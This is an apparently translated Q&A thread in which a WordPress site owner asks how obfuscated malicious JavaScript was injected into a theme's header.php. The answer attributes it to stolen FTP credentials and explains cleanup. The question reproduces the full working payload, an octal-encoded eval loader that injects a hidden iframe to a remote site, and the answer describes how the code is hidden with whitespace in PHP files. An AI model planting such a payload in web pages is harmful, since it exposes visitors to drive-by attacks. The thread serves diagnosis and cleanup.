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不幸的是，我的网站因包含恶意 Javascript 被 AVG 和 Google 阻止。下面粘贴的恶意代码以某种方式注入到最新版 Wordpress 的 header.php 主题文件中。我检查了所有文件并删除了任何看起来可疑的插件，以确保不再发生这种情况。主题来自一个非常知名的供应商，所以我看不到它的发生，因为主题。我想知道这是如何做到的，这样它就不会再发生了。

主机：1&1 托管 WordPress：3.5.1 PHP：5.2.17 运行于：Apache

这是恶意代码：

<script type="text/javascript" language="javascript">
ss=eval("Str"+"ing");d=document;a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,174,174,176,162,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,174,174,176,162,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,150,151,161,163,62,147,163,162,170,166,163,160,145,150,161,155,162,155,167,170,166,145,170,155,172,163,62,162,151,170,63,150,170,150,62,164,154,164,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,174,174,176,162,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,174,174,176,162,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,174,174,176,162,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,174,174,176,162,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"["split"](","));for(i=0;i<a.length;i+=1){a[i]=parseInt(a[i],8)-(7-3);}try{d.body--}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss["fromCharCode"].apply(ss,a));</script>
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1 回答 1

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您在上面发布的代码通常表明 FTP 凭据被盗。

我不确定 1and1 是否允许您访问 FTP 日志，但如果是，请查看那里。你可能会找到证据。但是我们已经清理了超过 160,000 个网站，并且我们已经在可以访问 FTP 日志的网站中看到了确切的代码，并且在每种情况下，它都被盗用了 FTP 凭据。

黑客知道很多人都可以通过 FTP 访问网站。因此，他们的病毒旨在窃取 FTP 密码。首先，更改所有密码。然后在对计算机运行完整的病毒扫描之前不要登录。在其他人对其计算机运行完整的系统病毒扫描之前，不要提供新密码。

Malwarebytes 是一个很好的病毒清除程序。

您应该做的一件事是在所有文件中搜索字符串：44,152,171（在您的情况下）。原因是，虽然您会在 .htm/.html/.js 文件中找到上述代码，但在 .php 文件中，黑客使用的代码大多相同，但它是“回显”的，因此许多特殊字符都被转义了在 .php 代码中。

您可能会看到一个开始的 php 标记<?php或短版本<?，然后是一系列空格，然后是标识符 #879076#（例如），然后是更多的空格，然后是“echo”，然后是更多的空格，然后是开始的脚本标记。

添加的空格旨在尝试在使用文本编辑器查看时将恶意代码隐藏到屏幕外。

于 2013-05-14T10:37:41.290 回答